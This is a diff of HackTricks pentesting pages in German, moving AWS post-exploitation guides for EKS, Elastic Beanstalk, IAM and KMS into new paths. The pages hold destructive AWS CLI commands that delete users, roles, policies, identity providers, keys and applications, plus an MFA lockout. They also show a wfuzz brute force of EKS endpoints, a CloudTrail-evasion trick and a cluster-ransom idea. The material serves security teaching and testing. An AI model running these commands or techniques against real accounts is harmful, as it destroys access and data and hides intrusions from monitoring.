+Es ist möglich, eine **OpenID authentication for kubernetes service account** zu erlauben, damit diese Rollen in AWS übernehmen können. Erfahre, wie [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+Beim Decodieren des JWT token erhalten wir die cluster id & auch die Region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Dabei ist zu wissen, dass das Standardformat für EKS url ist
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Ich habe keine Dokumentation gefunden, die die Kriterien für die 'two chars' und die 'number' erklärt. Nach einigen Tests meinerseits sehe ich jedoch wiederholt diese:
+
+- gr7
+- yl4
+
+Es sind sowieso nur 3 chars — wir können sie bruteforce. Nutze das untenstehende Script, um die Liste zu generieren
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Dann mit wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Denk daran, & zu ersetzen .
+
+### Umgehung von CloudTrail
+
+Wenn ein Angreifer Anmeldeinformationen eines AWS-Kontos mit **Berechtigungen für ein EKS** erlangt. Wenn der Angreifer seine eigene **`kubeconfig`** konfiguriert (ohne **`update-kubeconfig`** aufzurufen), wie zuvor erläutert, erzeugt **`get-token`** keine Logs in Cloudtrail, weil es nicht mit der AWS API interagiert (es erstellt das Token nur lokal).
+
+Wenn der Angreifer also mit dem EKS-Cluster kommuniziert, **cloudtrail wird nichts protokollieren, was mit dem gestohlenen Benutzer und dessen Zugriff zusammenhängt**.
+
+Beachte, dass das **EKS-Cluster möglicherweise Logs aktiviert hat**, die diesen Zugriff protokollieren (obwohl sie standardmäßig deaktiviert sind).
+
+### EKS Lösegeld?
+
+Standardmäßig hat der **Benutzer oder die Rolle, die einen Cluster erstellt hat**, **IMMER Admin-Rechte** über den Cluster. Und das ist der einzige "sichere" Zugriff, den AWS auf den Kubernetes-Cluster haben wird.
+
+Also, wenn ein **Angreifer einen Cluster mit fargate kompromittiert** und **alle anderen Admins entfernt** und **den AWS user/role löscht, der den Cluster erstellt hat**, ~~könnte der Angreifer den Cluster erpresst haben~~.
+
+> [!TIP]
+> Beachte, dass wenn der Cluster **EC2 VMs** verwendet hat, es möglich sein kann, Admin-Rechte vom **Node** zu erlangen und den Cluster wiederherzustellen.
+>
+> Tatsächlich, wenn der Cluster Fargate verwendet, könntest du EC2-Nodes erstellen oder alles in den Cluster auf EC2 verschieben und ihn wiederherstellen, indem du auf die tokens im Node zugreifst.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplicationVersion` kann **eine vorhandene Anwendungsversion löschen**. Diese Aktion könnte die Bereitstellungspipelines der Anwendung stören oder den Verlust spezifischer Anwendungsversionen verursachen, wenn diese nicht gesichert sind.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Potenzielle Auswirkungen**: Störung der Anwendungsbereitstellung und potenzieller Verlust von Anwendungsversionen.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung beenden**, was zu Ausfallzeiten der Anwendung und potenziellem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Potenzielle Auswirkungen**: Ausfall der Anwendung, potenzieller Datenverlust und Störung der Dienste.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller ihrer Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und -konfigurationen führen, wenn keine Sicherung vorhanden ist.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Potenzielle Auswirkungen**: Verlust von Anwendungsressourcen, Konfigurationen, Umgebungen und Anwendungsversionen, was zu Dienstunterbrechungen und potenziellem Datenverlust führen kann.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann **die CNAME-Einträge von zwei Elastic Beanstalk-Umgebungen tauschen**, was dazu führen kann, dass die falsche Version der Anwendung den Benutzern bereitgestellt wird oder zu unbeabsichtigtem Verhalten führt.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Potenzielle Auswirkungen**: Bereitstellung der falschen Version der Anwendung für Benutzer oder Verursachung unbeabsichtigten Verhaltens in der Anwendung aufgrund vertauschter Umgebungen.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!HINWEIS]
-> TODO: Testen, ob weitere Berechtigungen erforderlich sind
-
-Ein Angreifer mit den Berechtigungen `elasticbeanstalk:AddTags` und `elasticbeanstalk:RemoveTags` kann **Tags auf Elastic Beanstalk-Ressourcen hinzufügen oder entfernen**. Diese Aktion könnte zu falscher Ressourcenallokation, Abrechnung oder Ressourcenmanagement führen.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Potenzielle Auswirkungen**: Falsche Ressourcenzuweisung, Abrechnung oder Ressourcenmanagement aufgrund hinzugefügter oder entfernter Tags.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Für weitere Informationen:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Testen, ob für diese Aktion weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplicationVersion` kann **eine vorhandene Anwendungsversion löschen**. Diese Aktion kann Bereitstellungs-Pipelines stören oder zum Verlust bestimmter Anwendungsversionen führen, wenn diese nicht gesichert wurden.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Mögliche Auswirkungen**: Beeinträchtigung der Bereitstellung der Anwendung und möglicher Verlust von Anwendungs-Versionen.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Testen, ob hierfür zusätzliche Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:TerminateEnvironment` kann **eine bestehende Elastic Beanstalk-Umgebung terminieren**, was zu Ausfallzeiten der Anwendung und zu möglichem Datenverlust führen kann, wenn die Umgebung nicht für Backups konfiguriert ist.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Mögliche Auswirkungen**: Ausfall der Anwendung, möglicher Datenverlust und Dienstunterbrechungen.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:DeleteApplication` kann **eine gesamte Elastic Beanstalk-Anwendung löschen**, einschließlich aller Versionen und Umgebungen. Diese Aktion könnte zu einem erheblichen Verlust von Anwendungsressourcen und Konfigurationen führen, wenn diese nicht gesichert sind.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Mögliche Auswirkungen**: Verlust von Anwendungsressourcen, Konfigurationen, Umgebungen und Anwendungsversionen, was zu Dienstunterbrechungen und möglichem Datenverlust führen kann.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit der Berechtigung `elasticbeanstalk:SwapEnvironmentCNAMEs` kann **die CNAME-Einträge von zwei Elastic Beanstalk-Umgebungen vertauschen**, was dazu führen kann, dass Benutzern die falsche Anwendungsvariante ausgeliefert wird oder zu unerwartetem Verhalten führt.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Mögliche Auswirkungen**: Die Auslieferung einer falschen Version der Anwendung an Benutzer oder das Verursachen unbeabsichtigten Verhaltens in der Anwendung durch vertauschte Umgebungen.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Prüfen, ob hierfür weitere Berechtigungen erforderlich sind
+
+Ein Angreifer mit den Berechtigungen `elasticbeanstalk:AddTags` und `elasticbeanstalk:RemoveTags` kann **Tags an Elastic Beanstalk-Ressourcen hinzufügen oder entfernen**. Dies kann zu falscher Ressourcenzuteilung, fehlerhafter Abrechnung oder Problemen bei der Ressourcenverwaltung führen.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Mögliche Auswirkungen**: Fehlerhafte Ressourcenallokation, Abrechnung oder Ressourcenverwaltung durch hinzugefügte oder entfernte Tags.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Für weitere Informationen zum IAM-Zugriff:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
-
-Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
-
-Beispiel:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er herausfinden, ob principals des aktuellen Kontos Rollen in anderen Konten übernehmen können.
-
-### Unerwartete Vertrauensbeziehungen
-
-#### Wildcard als Principal
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-Diese Richtlinie **ermöglicht allen AWS**, die Rolle zu übernehmen.
-
-#### Service als Principal
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-Diese Richtlinie **erlaubt jedem Account**, sein apigateway so zu konfigurieren, dass es diese Lambda aufruft.
-
-#### S3 als principal
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-Wenn ein S3 bucket als principal angegeben ist — da S3 buckets keine Account ID haben — und du **deinen Bucket gelöscht hast und der Angreifer ihn** in seinem eigenen Account erstellt hat, könnte er dies missbrauchen.
-
-#### Nicht unterstützt
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-Eine übliche Methode, um Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Condition mit `AWS:SourceArn`, um die originierende ARN zu prüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen).
-
-### Löschen von Anmeldeinformationen
-Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur Zugangsschlüssel, Login-Profile, SSH-Schlüssel, dienstspezifische Zugangsdaten, Instance-Profile, Zertifikate oder CloudFront-Public-Keys entfernen bzw. Rollen von Instance-Profilen trennen. Solche Aktionen können legitime Benutzer und Anwendungen sofort blockieren und zu Denial-of-Service oder zum Verlust des Zugangs für Systeme führen, die von diesen Anmeldeinformationen abhängen. Daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### Löschung von Identitäten
-Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und so Identitäten sowie zugehörige Spuren entfernen. Das kann sofort den Zugriff für Personen und Dienste, die von diesen Identitäten abhängen, unterbrechen und zu denial-of-service oder zum Verlust des Zugriffs führen. Daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur verwaltete oder Inline-Richtlinien löschen oder trennen, Policy-Versionen oder Berechtigungsgrenzen entfernen und Richtlinien von Benutzern, Gruppen oder Rollen entkoppeln. Dies zerstört Autorisierungen und kann das Berechtigungsmodell verändern, wodurch betroffene Identitäten sofort den Zugriff verlieren oder ein Denial-of-Service erleiden; daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### Löschen föderierter Identitäten
-Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client-IDs entfernen. Dadurch wird die föderierte Authentifizierung unterbrochen, die Token-Validierung verhindert und Benutzern und Diensten, die auf SSO angewiesen sind, sofort der Zugriff verweigert, bis der IdP oder die Konfigurationen wiederhergestellt sind.
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Unbefugte MFA-Aktivierung
-Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät an der Identität eines Benutzers registrieren und dadurch den legitimen Benutzer am Anmelden hindern. Sobald ein unautorisiertes MFA aktiviert ist, kann der Benutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Wenn mehrere MFA-Geräte registriert sind, reicht für die Anmeldung nur eines, sodass dieser Angriff keinen Effekt auf das Verweigern des Zugriffs hat).
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Manipulation von Zertifikat-/Schlüsselmetadaten
-Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Durch das Kennzeichnen von Schlüsseln/Zertifikaten als inaktiv oder das Ändern von Referenzen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und sofort Dienste stören, die von diesen Anmeldeinformationen abhängen, was zu Verlust des Zugriffs oder der Verfügbarkeit führt.
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## Quellen
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Für weitere Informationen zum IAM-Zugriff:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+Wenn Sie einem **externen Account (A)** erlauben, auf eine **Rolle** in Ihrem Account zuzugreifen, werden Sie wahrscheinlich **keine Sichtbarkeit** darüber haben, **wer genau auf diesen externen Account zugreifen kann**. Das ist ein Problem, denn wenn ein anderer externer Account (B) auf den externen Account (A) zugreifen kann, ist es möglich, dass **B ebenfalls auf Ihr Konto zugreifen kann**.
+
+Daher ist es möglich, beim Zulassen eines externen Accounts für den Zugriff auf eine Rolle in Ihrem Account eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die der externe Account (A) **angeben muss**, um **die Rolle in Ihrer Organisation anzunehmen**. Da der **externe Account B diese Zeichenfolge nicht kennt**, kann er selbst wenn er Zugriff auf A hat **nicht auf Ihre Rolle zugreifen**.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die **IAM assume role policy lesen kann**, wird es sehen können. Aber solange der externe Account A es kennt, der externe Account **B es nicht kennt**, verhindert es, dass **B A missbraucht, um auf Ihre Rolle zuzugreifen**.
+
+Beispiel:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er irgendwie herausfinden, ob Principals des aktuellen Accounts Rollen in anderen Accounts übernehmen bzw. sich als diese ausgeben können.
+
+### Unerwartete Vertrauensstellungen
+
+#### Wildcard als Principal
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+Diese Richtlinie **ermöglicht es allen AWS**, die Rolle zu übernehmen.
+
+#### Dienst als Principal
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+Diese Richtlinie **ermöglicht jedem Konto**, sein apigateway so zu konfigurieren, dass es diese Lambda aufruft.
+
+#### S3 als principal
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+Wenn ein S3 bucket als principal angegeben ist, da S3 buckets keine Account ID haben, und du **deinen Bucket gelöscht hast und der Angreifer ihn in seinem eigenen Account erstellt hat**, dann könnte er das ausnutzen.
+
+#### Nicht unterstützt
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+Eine gängige Methode, Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Herkunfts-ARN zu prüfen. Allerdings unterstützen **einige Dienste das möglicherweise nicht** (z. B. CloudTrail laut einigen Quellen).
+
+### Löschen von Zugangsdaten
+Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates oder CloudFront public keys entfernen bzw. Rollen von instance profiles trennen. Solche Aktionen können legitime Benutzer und Anwendungen sofort blockieren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Credentials abhängen, daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Identitätslöschung
+Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und damit Identitäten und zugehörige Spuren entfernen. Dies kann sofort den Zugriff für Personen und Dienste unterbrechen, die von diesen Identitäten abhängen, was zu denial-of-service oder zu Zugriffsverlust führen kann, daher müssen diese IAM actions streng eingeschränkt und überwacht werden.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur managed/inline policies löschen oder abtrennen, Policy-Versionen oder permissions boundaries entfernen und Policies von Benutzern, Gruppen oder Rollen abkoppeln. Das zerstört Autorisierungen und kann das Berechtigungsmodell verändern, wodurch betroffene principals sofort den Zugriff verlieren oder ein Denial-of-Service eintreten kann; diese IAM-Aktionen müssen daher streng eingeschränkt und überwacht werden.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Löschen föderierter Identitäten
+Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client‑IDs entfernen. Das unterbricht die föderierte Authentifizierung, verhindert die Token‑Validierung und verweigert sofort den Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, bis der IdP oder die Konfigurationen wiederhergestellt sind.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Unberechtigte MFA-Aktivierung
+Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät auf der Identität eines Nutzers registrieren und dadurch den legitimen Nutzer am Anmelden hindern. Sobald ein nicht autorisiertes MFA aktiviert ist, kann der Nutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Sind mehrere MFA-Geräte registriert, ist für die Anmeldung nur eines erforderlich, sodass dieser Angriff keine Wirkung hat, den Zugang zu verweigern).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Manipulation von Zertifikats-/Schlüsselmetadaten
+Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Durch das Markieren von Schlüsseln/Zertifikaten als inaktiv oder das Ändern von Referenzen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und Dienste, die auf diesen Anmeldeinformationen basieren, sofort stören, was zu Verlust von Zugriff oder Verfügbarkeit führt.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Quellen
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Verschlüsseln/Entschlüsseln von Informationen
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-- `fileb://:` Liest die Datei im Binärmodus, wird häufig für Nicht-Text-Dateien verwendet.
-- `file://:` Liest die Datei im Textmodus, typischerweise verwendet für Textdateien, Skripte oder JSON, die keine spezielle Kodierung erfordern.
-
-> [!TIP]
-> Beachte, dass, wenn du Daten in einer Datei entschlüsseln möchtest, die Datei die binären Daten enthalten muss, nicht base64-kodierte Daten. (fileb://)
-
-- Verwendung eines **symmetrischen** Schlüssels
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Verwendung eines **asymmetrischen** Schlüssels:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
